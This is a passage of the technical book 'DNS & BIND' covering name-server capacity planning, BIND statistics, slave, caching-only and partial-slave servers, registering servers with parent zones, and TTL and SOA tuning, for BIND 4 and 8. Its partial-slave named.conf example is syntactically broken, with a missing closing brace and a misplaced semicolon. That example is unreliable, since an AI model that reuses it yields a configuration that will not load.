Since you would undoubtedly prefer that hackers not commandeer your name server to assist them in attacking your own hosts or other networks across the Internet, it's important to run your name server on a secure host. Don't run a name server on a big, multiuser system whose users you can't trust. If you have certain computers that are dedicated to hosting network services, but don't permit general logins, those are good candidates for running name servers. If you only have one or a few really secure hosts, consider running the primary master name server on one of those, since its compromise would be more significant than the compromise of the slaves.

Though these are really secondary considerations - it's more important to have a name server on a given subnet than to have it running on the perfect host - do keep these criteria in mind when making a choice.

8.1.2 Capacity Planning

If you have heavily populated networks, or users who do a lot of name-server-intensive work, you may find you need more name servers than we've recommended to handle the load. Or our recommendations may be fine for a little while, but as people add hosts to your nets or install new name-server-intensive programs, you may find your name servers bogged down by queries.

Just which tasks are "name-server-intensive"? Surfing the web can be name-server-intensive. Sending electronic mail, especially to large mailing lists, can be name-server-intensive. Programs that make lots of remote procedure calls to different hosts can be name-server-intensive. Even running certain graphical user environments can tax your name server. X Window-based user environments query the name server to check access lists (among other things).

The astute (and precocious) among you may be asking, "But how do I know when my name servers are overloaded? What do I look for?" An excellent question!

Memory utilization is probably the most important aspect of a name server's operation to monitor. named can get very large on a name server that is authoritative for many zones. If named's size, plus the size of the other processes you run, exceeds your real memory, your host may swap furiously ("thrash") and not get anything done. Even if your host has more than enough memory to run all its processes, large name servers are slow to start and slow to spawn new named processes (e.g., to handle zone transfers). Another problem: since named creates new named processes to handle zone transfers, it's quite possible to have more than one named process running at one time - one answering queries, and one or more servicing zone transfers. If your master name server already consumes five or ten megabytes of memory, count on two or three times that amount being used occasionally.

Another criterion you can use to measure the load on your name server is the load the name server process places on the host's CPU. Correctly configured name servers don't use much CPU time, so high CPU usage is often symptomatic of a configuration error. Programs like top can help you characterize your name server's average CPU utilization. Unfortunately, there are no absolute rules when it comes to acceptable CPU utilization. We offer a rough rule of thumb, though: 5% average CPU utilization is probably acceptable; 10% is a bit high, unless the host is dedicated to providing name service.[1]

[1] top is a very handy program, written by Bill LeFebvre, that gives you a continuous report of which processes are sucking up the most CPU time on your host. The most recent version of top is available via anonymous ftp from eecs.nwu.edu as /pub/top/top-3.4.tar.Z.

To get an idea of what normal figures are, here's what top might show for a relatively quiet name server:

last pid: 14299; load averages: 0.11, 0.12, 0.12       18:19:08
68 processes: 64 sleeping, 3 running, 1 stopped
Cpu states: 11.3% usr, 0.0% nice, 15.3% sys, 73.4% idle, 0.0% intr, 0.0% ker
Memory: Real: 8208K/13168K act/tot Virtual: 16432K/30736K act/tot Free: 4224K

  PID USERNAME PRI NICE   SIZE   RES STATE  TIME   WCPU    CPU COMMAND
   89 root       1    0  2968K 2652K sleep  5:01  0.00%  0.00% named

Okay, that's really quiet. Here's what top shows on a busy (though not overloaded) name server:

load averages: 0.30, 0.46, 0.44                  system: relay 16:12:20
39 processes: 38 sleeping, 1 waiting
Cpu states: 4.4% user, 0.0% nice, 5.4% system, 90.2% idle, 0.0% unk5, 0.0% unk6, 0.0% unk7, 0.0% unk8
Memory: 31126K (28606K) real, 33090K (28812K) virtual, 54344K free Screen #1/3

   PID USERNAME PRI NICE  SIZE   RES   STATE   TIME  WCPU   CPU  COMMAND
 21910 root       1    0  2624K  2616K sleep 146:21  0.00% 1.42% /etc/named

Another statistic to look at is the number of queries the name server receives per minute (or second, if you have a busy name server). Again, there are no absolutes here: an HP9000 K460 can handle hundreds of queries per second without breaking into a sweat, while a 386 PC might have problems with more than a few queries a second.

To check the volume of queries your name server is receiving, it's easiest to look at the name server's internal statistics, which you can configure the server to write to syslog at regular intervals.[2] For example, you could configure your name server to dump statistics every hour (actually, that's the default for BIND 8 servers), and compare the number of queries received between hours:

[2] Some older BIND name servers needed coercion to dump their statistics: the ABRT signal (IOT on older systems). BIND 4.9 name servers automatically dumped stats every hour, but 4.9.4 and later name servers, once again, need to be coerced with ABRT.

options {
        statistics-interval 60;
};

You should pay special attention to peak periods. Monday morning is often busy, because many people like to respond to mail they've received over the weekend first thing on Mondays.

You might also want to take a sample starting just after lunch, when people are returning to their desks and getting back to work - all at about the same time. Of course, if your organization is spread across several time zones, you'll have to use your own good judgment to determine a busy time.

Here's a snippet from the syslog file on a BIND 8.1.2 name server:[3]

[3] On a 4.9.4 through 4.9.7 server, you could dump stats like these to the named.stats file by sending named a SIGABRT, then move named.stats to another filename, wait an hour (with sleep 3600, for example), then send SIGABRT again.

   Apr 22 07:40:37 denver named[150]: NSTATS 830180437 829791665 A=131686
   PTR=8554 MX=187 ANY=339
Apr 22 07:40:37 denver named[150]: XSTATS 830180437 829791665 RQ=140766
RR=4111 RIQ=0 RNXD=2045 RFwdQ=3671 RFwdR=3839 RDupQ=0 RDupR=7 RFail=0
RFErr=0 RErr=0 RTCP=0 RAXFR=0 RLame=0 ROpts=0 SSysQ=285 SAns=137097
SFwdQ=3671 SFwdR=3839 SDupQ=92 SFail=4 SFErr=0 SErr=0 RNotNsQ=140721
SNaAns=7728 SNXD=55787
   Apr 22 08:40:37 denver named[150]: NSTATS 830184037 829791665 A=132968
   PTR=8633 MX=187 ANY=342
Apr 22 08:40:37 denver named[150]: XSTATS 830184037 829791665 RQ=142130
RR=4144 RIQ=0 RNXD=2062 RFwdQ=3698 RFwdR=3870 RDupQ=0 RDupR=7 RFail=0
RFErr=0 RErr=0 RTCP=0 RAXFR=0 RLame=0 ROpts=0 SSysQ=287 SAns=138434
SFwdQ=3698 SFwdR=3870 SDupQ=92 SFail=4 SFErr=0 SErr=0 RNotNsQ=142085
SNaAns=7778 SNXD=56284

The number of queries received is dumped in the RQ field (in bold). To calculate the number of queries received in the hour, just subtract the first RQ value from the second one: 142130 - 140766 = 1364.

Even if your host is fast enough to handle the number of queries it receives, you should make sure the DNS traffic isn't placing undue load on your network. On most LANs, DNS traffic will be too small a proportion of the network's bandwidth to worry about. Over slow leased lines or dial-up connections, though, DNS traffic could consume enough bandwidth to merit concern.

To get a rough estimate of the volume of DNS traffic on your LAN, multiply the number of queries received (RQ) plus the number of answers sent (SAns) in an hour by 800 bits (100 bytes, a rough average size for a DNS packet), and divide by 3600 (seconds per hour) to find the bandwidth utilized. This should give you a feeling for how much of your network's bandwidth is being consumed by DNS traffic.[4]

[4] For a nice package that automates the analysis of BIND's statistics, look for Nigel Campbell's bindgraph in the DNS Resources Directory's tools page, URL http://www.dns.net/dnsrd/tools.html.

To give you an idea of what's normal, the last NSFNET traffic report (in April, 1995) showed that DNS traffic constituted just over 5% of the total traffic volume (in bytes) on their backbone. The NSFNET's figures are based upon actual traffic sampling, not calculations like ours using the name server's statistics.[5] If you want to get a more accurate idea of the traffic your name server is receiving, you can always do your own traffic sampling with a LAN protocol analyzer.

[5] We're not sure how representative of the current state of the Internet these numbers are, but it's extremely difficult to wheedle equivalent numbers out of the commercial backbone providers that succeeded the NSFNET.

Once you've found that your name servers are overworked, what then? First, it's a good idea to make sure that your name servers aren't being bombarded with queries by a misbehaving program. To do that, you'll need to find out where all the queries are coming from.

If you're running a BIND 4.9 or 8.1.2 name server, you can find out which resolvers and name servers are querying your name server just by dumping the statistics. A modern server keeps statistics on a host-by-host basis, which is really useful in tracking down heavy users of your name server. For example, take these statistics:

+++ Statistics Dump +++ (829373099) Fri Apr 12 23:24:59 1996
970779    time since boot (secs)
471621    time since reset (secs)
0    Unknown query types
185108    A queries
6    NS queries
69213    PTR queries
669    MX queries
2361    ANY queries
++ Name Server Statistics ++
(Legend)
    RQ      RR      RIQ      RNXD      RFwdQ
    RFwdR   RDupQ   RDupR    RFail     RFErr
    RErr    RTCP    RAXFR    RLame     ROpts
    SSysQ   SAns    SFwdQ    SFwdR     SDupQ
    SFail   SFErr   SErr     RNotNsQ   SNaAns
    SNXD
(Global)
    257357 20718 0 8509 19677  19939 1494 21 0 0  0 7 0 1 0
    824 236196 19677 19939 7643  33 0 0 256064 49269  155030
 [15.17.232.4]
    8736 0 0 0 717  24 0 0 0 0  0 0 0 0 0  0 8019 0 717 0
    0 0 0 8736 2141  5722
[15.17.232.5]
    115 0 0 0 8  0 21 0 0 0  0 0 0 0 0  0 86 0 1 0  0 0 0 115 0  7
[15.17.232.8]
    66215 0 0 0 6910  148 633 0 0 0  0 5 0 0 0  0 58671 0 6695 0
    15 0 0 66215 33697  6541
[15.17.232.16]
    31848 0 0 0 3593  209 74 0 0 0  0 0 0 0 0  0 28185 0 3563 0
    0 0 0 31848 8695  15359
[15.17.232.20]
    272 0 0 0 0  0 0 0 0 0  0 0 0 0 0  0 272 0 0 0  0 0 0 272 7  0
[15.17.232.21]
    316 0 0 0 52  14 3 0 0 0  0 0 0 0 0  0 261 0 51 0  0 0 0 316 30  30
[15.17.232.24]
    853 0 0 0 65  1 3 0 0 0  0 2 0 0 0  0 783 0 64 0  0 0 0 853 125  337
[15.17.232.33]
    624 0 0 0 47  1 0 0 0 0  0 0 0 0 0  0 577 0 47 0  0 0 0 624 2  217
[15.17.232.94]
    127640 0 0 0 1751  14 449 0 0 0  0 0 0 0 0  0 125440 0 1602 0
    0 0 0 127640 106  124661
[15.17.232.95]
    846 0 0 0 38  1 0 0 0 0  0 0 0 0 0  0 809 0 37 0  0 0 0 846 79  81
-- Name Server Statistics --
--- Statistics Dump --- (829373099) Fri Apr 12 23:24:59 1996

Each host is broken out, after the Global entry, by IP address, in brackets. Looking at the legend, you can see that the first field in each record is RQ, or queries received. That gives us a very good reason to go look at the hosts 15.17.232.8, 15.17.232.16, and 15.17.232.94, which appear to be responsible for about 88% of our queries.

If you're running an older name server, the only way to find out which resolvers and name servers are sending all those darned queries is to turn on name server debugging. (We'll cover this in depth in Chapter 12, Reading BIND Debugging Output.) All you're really interested in is the source IP addresses of the queries your name server is receiving. When poring over the debugging output, look for hosts sending repeated queries, especially for the same or similar information. That may indicate a misconfigured or buggy program running on the host, or a foreign name server pelting your name server with queries.

If all the queries appear to be legitimate, add a new name server. Don't put the name server just anywhere, though; use the information from the debugging output to help you decide where best to run one. In cases where DNS traffic is gobbling up your Ethernet, it won't help to choose a host at random and create a name server there. You need to consider which hosts are sending all the queries, then figure out how to best provide them name service. Here are some hints to help you decide:

  • Look for queries from resolvers on hosts that share the same file server. You could run a name server on the file server.

  • Look for queries from resolvers on large, multiuser hosts. You could run a name server there.

  • Look for queries from resolvers on another subnet. Those resolvers should be configured to query a name server on their local subnet. If there isn't one on that subnet, create one.

  • Look for queries from resolvers on the same bridged segment (assuming you use bridging). If you run a name server on the bridged segment, the traffic won't need to be bridged to the rest of the network.

  • Look for queries from hosts connected to each other via another, lightly loaded network. You could run a name server on the other network.

Previous: 7.6 Keeping Everything Running Smoothly | DNS & BIND | Next: 8.2 Adding More Name Servers
7.6 Keeping Everything Running Smoothly | Book Index | 8.2 Adding More Name Servers


[Chapter 8] 8.2 Adding More Name Servers

DNS & BIND

DNS & BINDSearch this book
Previous: 8.1 How Many Name Servers? Chapter 8
Growing Your Domain 		Next: 8.3 Registering Name Servers

8.2 Adding More Name Servers

When you need to create new name servers for your domain, the simplest recourse is to add slaves. You already know how - we went over it in Chapter 4 - and once you've set one slave up, cloning it is a piece of cake. But you can run into trouble indiscriminately adding slaves.

If you run a large number of slave servers for a zone, the primary master name server can take quite a beating just keeping up with the slaves' polling to check that their data are current. There are a number of courses of action to take for this problem:

  • Make more primary master name servers.

  • Increase the refresh interval so that the slaves don't check so often.

  • Direct some of the slave name servers to load from other slave name servers.

  • Create caching-only name servers (described later).

  • Create "partial-slave" name servers (also described later).

8.2.1 Primary Master and Slave Servers

Creating more primaries will mean extra work for you, since you have to keep the db files synchronized manually. Whether or not this is preferable to your other alternatives is your call. You can use tools like rdist to simplify the process of distributing the files. A distfile to synchronize files between primaries might be as simple as the following[6]

[6] The file rdist reads to find out which files to update.

dup-primary:

# copy named.boot file to dup'd primary

/etc/named.conf  -> wormhole
    install ;

# copy contents of /usr/local/named (db files, etc.) to dup'd primary

/usr/local/named -> wormhole
    install ;

or for multiple primaries:

dup-primary:

primaries =  ( wormhole carrie )
/etc/named.conf  -> {$primaries}
    install ;

/usr/local/named -> {$primaries}
    install ;

You can even have rdist trigger your name server's reload using the special option by adding lines like:

special /usr/local/named/* "kill -HUP `cat /etc/named.pid`" ;
special /etc/named.conf "kill -HUP `cat /etc/named.pid`" ;

These tell rdist to execute the quoted command if any of the files change.

Increasing your name servers' refresh interval is another option. This slows down the propagation of new information, however. In some cases, this is not a problem. If you rebuild your DNS data with h2n only once each day at 1 a.m. (run from cron) and then allow six hours for the data to distribute, all the slaves will be current by 7 a.m.[7] That may be acceptable to your user population. See the section called "Changing Other SOA Values" later in this chapter for more detail.

[7] And, of course, if you're using BIND 8's NOTIFY, they'll catch up much sooner than that.

You can even have some of your slaves load from other slaves. Slave name servers can load zone data from other slave name servers instead of loading from a primary name server. The slave name server can't tell if it is loading from a primary or another slave. It's only important that the name server serving the zone transfer is authoritative for the zone. There's no trick to configuring this. Instead of specifying the IP address of the primary in the slave's conf file, you simply specify the IP address of another slave.

Here are the contents of the file named.conf:

// this slave updates from wormhole, another
// slave
zone "movie.edu" {
                type slave;
                file "db.movie";
                masters { 192.249.249.1; };
};

For a BIND 4 server, this would look slightly different.

Here are the contents of the file named.boot:

; this slave updates from wormhole, another slave
secondary   movie.edu   192.249.249.1   db.movie

When you go to this second level of distribution, though, it can take up to twice as long for the data to percolate from the primary name server to all the slaves. Remember that the refresh interval is the period after which the slave servers will check to make sure that their zone data are still current. Therefore, it can take the first-level slave servers the entire refresh interval before they get their copy of the zone files from the primary master server. Similarly, it can take the second-level slave servers the entire refresh interval to get their copy of the files from the first-level slave servers. The propagation time from the primary master server to all of the slave servers can therefore be twice the refresh interval.

One way to avoid this to use BIND 8's NOTIFY feature. This is on by default, and will trigger zone transfers soon after the zone is updated on the primary master. Unfortunately, it only works on version 8 BIND slaves.[8]

[8] And, incidentally, on the Microsoft DNS Server.

If you decide to configure your network with two (or more) tiers of slave servers, be careful to avoid updating loops. If we were to configure wormhole to update from diehard, and then we accidentally configured diehard to update from wormhole, neither would ever get data from the primary. They would merely check their out-of-date serial numbers against each other, and perpetually decide that they were both up-to-date.

8.2.2 Caching-Only Servers

Creating caching-only name servers is another alternative when you need more servers. Caching-only name servers are name servers not authoritative for any domains (except 0.0.127.in-addr.arpa). The name doesn't imply that primary and slave name servers don't cache - they do. The name means that the only function this server performs is looking up data and caching them. As with primary and slave name servers, a caching-only name server needs a db.cache file and a db.127.0.0 file. The named.conf file for a caching-only server contains these lines:

options {
                directory "/usr/local/named";                                                   // or your data directory
};

zone "0.0.127.in-addr.arpa" {
                type master;
                file "db.127.0.0";
};

zone . {
                type hint;
                file "db.cache";
};

On a BIND 4 server, the named.boot file looks like this:

directory /usr/local/named  ; or your data directory

primary 0.0.127.in-addr.arpa  db.127.0.0  ; for loopback address
cache   .                     db.cache

A caching-only name server can look up names inside and outside your zone, as can primary and slave name servers. The difference is that when a caching-only name server initially looks up a name within your zone, it ends up asking one of the primary or slave name servers for your zone for the answer. A primary or slave would answer the same question out of its authoritative data. Which primary or slave does the caching-only server ask? As with name servers outside of your domain, it finds out which name servers serve your zone from the name server for your parent zone. Is there any way to prime a caching-only name server's cache so it knows which hosts run primary and slave name servers for your zone? No, there isn't. You can't use db.cache - the db.cache file is only for root name server hints.

A caching-only name server's real value comes after it builds up its cache. Each time it queries an authoritative name server and receives an answer, it caches the records in the answer. Over time, the cache will grow to include the information most often requested by the resolvers querying the caching-only name server. And you avoid the overhead of zone transfers - a caching-only name server doesn't need to do them.

8.2.3 Partial-Slave Servers

In between a caching-only name server and a slave name server is another variation: a name server that is a slave for only a few of the local zones. We call this a partial-slave name server (and probably nobody else does). Suppose movie.edu had twenty class C networks (and a corresponding twenty in-addr.arpa zones). Instead of creating a slave server for all 21 zones (all the in-addr.arpa subdomains plus movie.edu), we could create a partial-slave server for movie.edu and only those in-addr.arpa zones the host itself is in. If the host had two network interfaces, then its name server would be a slave for three zones: movie.edu and the two in-addr.arpa zones.

Let's say we scare up the hardware for another name server. We'll call the new host zardoz.movie.edu, with IP addresses 192.249.249.9 and 192.253.253.9. We'll create a partial-slave name server on zardoz, with this named.conf file:

options {
                directory "/usr/local/named";
};

zone "movie.edu" {
                type slave;
                file "db.movie";
                masters { 192.249.249.3; };
};

zone "249.249.192.in-addr.arpa" {
                type slave;
                file "db.192.249.249";
                masters { 192.249.249.3; };

zone "253.253.192.in-addr.arpa" {
                type slave;
                file "db.192.253.253";
                masters { 192.249.249.3; };
};

zone "0.0.127.in-addr.arpa";
                type master;
                file "db.127.0.0";
};

zone . {
                type hint;
                file "db.cache";
};

For a BIND 4 server, the named.boot file would look like this:

directory   /usr/local/named
secondary   movie.edu                192.249.249.3 db.movie
secondary   249.249.192.in-addr.arpa 192.249.249.3 db.192.249.249
secondary   253.253.192.in-addr.arpa 192.249.249.3 db.192.253.253
primary     0.0.127.in-addr.arpa     db.127.0.0
cache       .                        db.cache

This server is a slave for movie.edu and only two of the 20 in-addr.arpa zones. A "full" slave would have 21 different zone statements in named.conf.

What's so useful about a partial-slave name server? They're not much work to administer, because their named.conf files don't change much. On a server authoritative for all the in-addr.arpa zones, we'd need to add and delete in-addr.arpa zones (and their corresponding entries in named.conf) as our network changed. That can be a surprising amount of work on a large network.

A partial slave can still answer most of the queries it receives, though. Most of these queries will be for data in the movie.edu and two in-addr.arpa zones. Why? Because most of the hosts querying the name server are on the two networks it's connected to, 192.249.249 and 192.253.253. And those hosts probably communicate primarily with other hosts on their own network. This generates queries for data within the in-addr.arpa zone that corresponds to the local network.

Previous: 8.1 How Many Name Servers? | DNS & BIND | Next: 8.3 Registering Name Servers
8.1 How Many Name Servers? | Book Index | 8.3 Registering Name Servers


[Chapter 8] 8.3 Registering Name Servers

DNS & BIND

DNS & BINDSearch this book
Previous: 8.2 Adding More Name Servers Chapter 8
Growing Your Domain 		Next: 8.4 Changing TTLs

8.3 Registering Name Servers

When you get around to setting up more and more name servers, a question may strike you - must I register all of my primary and slave name servers with my parent zone? No, only those servers you want to make available to servers outside of your zone need to be registered with the parent. For instance, if you run nine name servers for your zone, you may choose to tell the parent zone about only four of them. Within your zone, all nine servers are used. Five of those nine servers, however, are only queried by resolvers on hosts that are configured to query them (in resolv.conf, for example). Their parent name servers will never delegate to them, since they're not registered in the domain name space. Only the four servers registered with your parent zone are queried by other name servers, including caching-only and partial-slave name servers within your domain. This setup is shown in Figure 8.2.

Figure 8.2: Registering only some of your name servers

Besides being able to pick and choose which of your name servers are hammered by outside queries, there's a technical motivation for registering only some of your zone's name servers: there is a limit to how many servers will fit in a UDP response packet. In practice, around ten name server records should fit. Depending on the data (how many servers are in the same domain), you could get more or fewer.[9] There's not much point in registering more than ten servers, anyway - if none of the ten servers can be reached, it's unlikely the destination host can be reached.

[9] The domain names of the Internet's root name servers were changed because of this. All of the roots were moved into the same domain, root-servers.net, to take the most advantage of domain name compression and store as many roots as possible in a single UDP packet.

If you've set up a new authoritative name server, and you decide it should be registered, make a list of the parents of the zones it's authoritative for. You'll need to contact the administrators for each of these parent zones. For example, let's say we want to register the name server we set up on zardoz above. In order to get this slave registered in all the right zones, we'll need to contact the administrators of edu and in-addr.arpa. (For help determining who runs your parent zones, turn back to Chapter 3, Where Do I Start?)

When you contact the administrators of a parent zone, be sure to fill out the form they specify (if any) on their web site. If there's no standard form, give them the domain name of the zone the new name server is authoritative for. If the new name server is in the new zone, you'll also need to give them the IP address(es) of the new name server. In fact, if there's no official format for submitting the information, it's often best just to send your parent the complete list of registered name servers for the zone, plus any addresses necessary, in data file format. That avoids any potential confusion.

Since our networks were originally assigned by the InterNIC, we submitted the form at http://www.arin.net/templates/inaddrtemplate.txt to hostmaster@arin.net, per their web site, to change our registration. If they hadn't had a template for us to use, our message to the administrator of in-addr.arpa might have read something like this:

Howdy!

I've just set up a new slave name server on
zardoz.movie.edu for the 249.249.192.in-addr.arpa
and 253.253.192.in-addr.arpa zones.  Would you
please add NS records for this name server to the
in-addr.arpa zone?  That would make our delegation
information look like:

253.253.192.in-addr.arpa. 86400 IN NS terminator.movie.edu.
253.253.192.in-addr.arpa. 86400 IN NS wormhole.movie.edu.
253.253.192.in-addr.arpa. 86400 IN NS zardoz.movie.edu.

249.249.192.in-addr.arpa. 86400 IN NS terminator.movie.edu.
249.249.192.in-addr.arpa. 86400 IN NS wormhole.movie.edu.
249.249.192.in-addr.arpa. 86400 IN NS zardoz.movie.edu.

Thanks!

Albert LeDomaine
al@robocop.movie.edu

Notice we specified explicit TTLs on the NS and A records? That's because our parent name servers aren't authoritative for those records; our name servers are. By including them, we're indicating our choice of a TTL for our zone's delegation. Of course, our parent may have other ideas about what the TTL should be.

In this case, glue data - A records for each of the name servers - aren't necessary, since the domain names of the name servers aren't within the in-addr.arpa zones. They're within movie.edu, so a name server that was referred to terminator or wormhole could still find their addresses by following delegation to the movie.edu name servers.

Is a partial-slave name server a good name server to register with your parent zone? Actually, it's not ideal, because it's only authoritative for some of your in-addr.arpa zones. Administratively, it may be easier to register only servers backing up all the local zones; that way, you don't need to keep track of which name servers are authoritative for which zones. All of your parent zones can delegate to the same set of name servers: your primary and your "full" slaves.

If you don't have many name servers, though, or if you're good at remembering which name servers are authoritative for what, go ahead and register a partial-slave.

Caching-only name servers, on the other hand, must never be registered. A caching-only name server rarely has complete information for any given zone, just the bits and pieces of it that it has looked up recently. If a parent name server were mistakenly to refer a foreign name server to a caching-only name server, the foreign name server would send the caching-only name server a nonrecursive query. The caching-only name server might have the data cached, but then again, it might not. If it didn't have the data, it would refer the querier to the best name servers it knew (those closest to the domain in the query) - which might include the caching-only name server itself! The poor foreign name server might never get an answer. This kind of misconfiguration - actually, delegating a zone to any name server not authoritative for that zone - is known as lame delegation.

Previous: 8.2 Adding More Name Servers | DNS & BIND | Next: 8.4 Changing TTLs
8.2 Adding More Name Servers | Book Index | 8.4 Changing TTLs


[Chapter 8] 8.4 Changing TTLs

DNS & BIND

DNS & BINDSearch this book
Previous: 8.3 Registering Name Servers Chapter 8
Growing Your Domain 		Next: 8.5 Planning for Disasters

8.4 Changing TTLs

An experienced domain administrator needs to know how to set the time to live on his zone's data to his best advantage. The TTL on a resource record, remember, is the time in seconds any server can cache that record. So if the TTL for a particular resource record is 3600 (seconds), and a server outside your domain caches that record, it will have to remove the entry from its cache after an hour. If it needs the same data after the hour is up, it'll have to query your name servers again.

When we introduced TTLs, we emphasized that your choice of a TTL would dictate how current you'd keep copies of your data, at the cost of increased load on your name servers. A low TTL would mean that name servers outside your domain would have to get data from your name servers often, and would therefore keep current. On the other hand, your name servers would be peppered by their queries.

You don't have to choose a TTL once and for all, though. You can - and experienced administrators do - change TTLs periodically to suit your needs.

Suppose we know that one of our hosts is about to be moved to another network. This host is the movie.edu film library. It houses a large collection of files our site makes available to hosts on the Internet. During normal operation, outside name servers cache the address of our host according to the minimum TTL in the SOA record. (We set the movie.edu TTL to be one day in our sample files.) A name server caching the old address record just before the change could have the wrong address for as long as a day. A loss of connectivity for a day is unacceptable, though. What can we do to minimize the loss of connectivity? We can lower the TTL, so that outside servers cache the address record for a shorter period. By reducing the TTL, we force the outside servers to update their data more frequently, which means that any changes we make when we actually move the system will be propagated to the outside world quickly. How long can we make the TTL? Unfortunately, we can't use a TTL of zero, which should mean "don't cache this record at all." Some older BIND 4 name servers can't return records with a TTL of zero, instead returning null answers or SERVFAIL errors. Small TTLs, like 30 seconds, are okay, though. The easiest change is to lower the TTL in the SOA record in the db.movie file. If you don't place an explicit TTL on resource records in the db files, the name server applies this minimum TTL from the SOA record to each resource record. If you lower the minimum TTL field, though, the new, lower TTL applies to all addresses, not just the address of the host being moved. The drawback to this approach is that your name server will be answering a lot more queries, since the querying servers will cache all the data in your zone for a shorter period. A better alternative is to put a different TTL only on the affected address record.

To add an explicit TTL on an individual resource record, place it before the IN in the class field. The TTL value is in seconds. Here's an example of an explicit TTL from db.movie:

cujo  3600 IN  A    192.253.253.5  ; explicit TTL of 1 hour

If you're observant, you may have noticed a potential problem: the explicit TTL on cujo's address is 3600 seconds, but the TTL field in the SOA record - ostensibly the minimum TTL for the zone - is higher. Which takes precedence?

If BIND followed the DNS RFCs, the TTL field in the SOA record would really define the minimum TTL value for all resource records in the zone. Thus, you could only specify explicit TTLs larger than this minimum. BIND name servers don't work this way, though. In other words, in BIND, "minimum" is not really minimum. Instead, BIND implements the minimum TTL field in the SOA record as a "default" TTL. If there is no TTL on a record, the minimum applies. If there is a TTL on the resource record, BIND allows it even if it is smaller than the minimum. That one record is sent out in responses with the smaller TTL, while all other records are sent out with the "minimum" TTL from the SOA record.

You should also know that when giving out answers, a slave supplies the same TTL a primary does - that is, if a primary gives out a TTL of 86400 for a particular record, a slave will, too. The slave doesn't decrement the TTL according to how long it has been since it loaded the zone. So, if the TTL of a single resource record is set smaller than the SOA minimum, both the primary and slave name servers give out the resource record with the same, smaller TTL. If the slave name server has reached the expiration time for the zone, it expires the whole zone. It will never expire an individual resource record within a zone.

So BIND does allow you to put a small TTL on an individual resource record if you know that the data is going to change shortly. Thus, any server caching that data only caches it for a brief time. Unfortunately, while BIND makes tagging records with a small TTL possible, most domain administrators don't spend the time to do it. When a host changes address, you often lose connectivity to it for a while.

More often than not, the host having its address changed is not one of the main hubs on the site, so the outage impacts few people. If one of the mail hubs or a major ftp repository - like the film library - is moving, though, a day's loss of connectivity may be unacceptable. In cases like this, the domain administrator should plan ahead and reduce the TTL on the data to be changed.

Remember that the TTL on the affected data will need to be lowered before the change takes place. Reducing the TTL on a workstation's address record and changing the workstation's address simultaneously may do you little or no good; the address record may have been cached minutes before you made the change, and may linger until the old TTL times out. And be sure to factor in the time it'll take your slaves to load from your primary. For example, if your minimum TTL is 12 hours, and your refresh interval is 3 hours, be sure to lower the TTLs at least 15 hours ahead of time, so that by the time you move the host, all the long TTL records will have timed out. Of course, if all of your slaves are BIND 8 servers that use NOTIFY, the slaves shouldn't take the full refresh interval to synch up.

8.4.1 Changing Other SOA Values

We briefly mentioned increasing the refresh interval as a way of offloading your primary name server. Let's discuss refresh in a little more detail and go over the remaining SOA values, too.

The refresh value, you'll remember, controls how often a slave checks whether its data is up-to-date. The retry value then becomes the refresh time after the first failure to reach a master name server. The expire value determines how long data can be held before it's discarded, when a master is unreachable. Finally, the minimum TTL sets how long domain information may be cached.

Suppose we've decided we want the slaves to pick up new information every hour instead of every three hours. We change the refresh value to 3600 in each of the db files (or with the -o option to h2n). Since the retry is related to refresh, we should probably reduce retry, too - to every 15 minutes or so. Typically, the retry is less than the refresh, but that's not required.[10] Although lowering the refresh value will speed up the distribution of data, it will also increase the load on the server being loaded from since the slaves will check more often. The added load isn't much, though; each slave makes a single SOA query during each zone's refresh interval to check its master's copy of the zone. So with two slave name servers, changing the refresh time from three hours to one hour will only generate four more queries (per zone) to the primary in any three-hour span.

[10] Actually, BIND 8 servers will warn you if refresh is set to less than ten times the retry interval.

If all of your slaves run BIND 8 and you use NOTIFY, of course, refresh doesn't mean as much. But if you have even one BIND 4 slave, your zone data will take up to the refresh interval to reach it.

Some older versions of BIND slaves stopped answering queries during a zone load. As a result, BIND was modified to spread out the zone loads, reducing the periods of unavailability. So, even if you set a low refresh interval, your slaves may not check exactly as often as you request. BIND name servers attempt a certain number of zone loads and then wait 15 minutes before trying another batch. On the other hand, BIND 4.9 and later may also refresh more often than the refresh interval. These newer BINDs will wait a random number of seconds between one-half the refresh interval and the full refresh interval to check serial numbers.

Expiration times on the order of a week are common - longer if you frequently have problems reaching your updating source. The expiration time should always be much larger than the retry and refresh interval; if the expire time is smaller than the refresh interval, your slaves will expire their data before trying to load new data. BIND 8 will complain if you set an expire time less than refresh plus retry, less than twice retry, less than seven days or greater than six months. Choosing an expire time that meets all BIND 8's criteria is a good idea in most situations.

If your data don't change much, you might consider raising the minimum TTL. The SOA's minimum TTL value is typically one day (86400 seconds), but you can make it longer. One week is about the longest value that makes sense for a TTL. Longer than that and you may find yourself unable to change bad, cached data in a reasonable amount of time.

Previous: 8.3 Registering Name Servers | DNS & BIND | Next: 8.5 Planning for Disasters
8.3 Registering Name Servers | Book Index | 8.5 Planning for Disasters


[Chapter 8] 8.5 Planning for Disasters

DNS & BIND

DNS & BINDSearch this book
Previous: 8.4 Changing TTLs Chapter 8
Growing Your Domain 		Next: 8.6 Coping with Disaster

8.5 Planning for Disasters

It's a fact of life on a network that things go wrong. Hardware fails, software has bugs, and people very occasionally make mistakes. Sometimes this results in minor inconvenience, like having a few users lose connections. Sometimes the results are catastrophic and involve the loss of important data and valuable jobs.

Because the Domain Name System relies so heavily on the network, it is vulnerable to network outages. Thankfully, the design of DNS takes into account the imperfection of networks: it allows for multiple, redundant name servers, retransmission of queries, retrying zone transfers, and so on.

The Domain Name System doesn't protect itself from every conceivable calamity, though. There are types of network failure - some of them quite common - that DNS doesn't or can't protect against. But with a small investment of time and money, you can minimize the threat of these outages.

8.5.1 Outages

Power outages, for example, are relatively common in many parts of the world. In some parts of the U.S., thunderstorms or tornadoes may cause a site to lose power, or to have only intermittent power, for an extended period. Elsewhere, typhoons, volcanoes, or construction work may interrupt your electrical service.

If all your hosts are down, of course, you don't need name service. Quite often, however, sites have problems when power is restored. Following our recommendations, they run their name servers on file servers and big multiuser machines. And when the power comes up, those machines are naturally the last to boot - because all those disks need to be fscked first! Which means that all the hosts on-site that are quick to boot do so without the benefit of name service.

This can cause all sorts of wonderful problems, depending on how your hosts' startup files are written. UNIX hosts often execute some variant of:

    /etc/ifconfig lan0 inet `hostname` netmask 255.255.128.0 up
    /etc/route add default site-router 1

to bring up their network interface. Using host names in the commands (`hostname` expands to the local host name and site-router is the name of the local router) is admirable for two reasons:

  • It lets the administrators change the router's IP address without changing all the startup files on-site.

  • It lets the administrators change the host's IP address by changing the IP address in only one file.

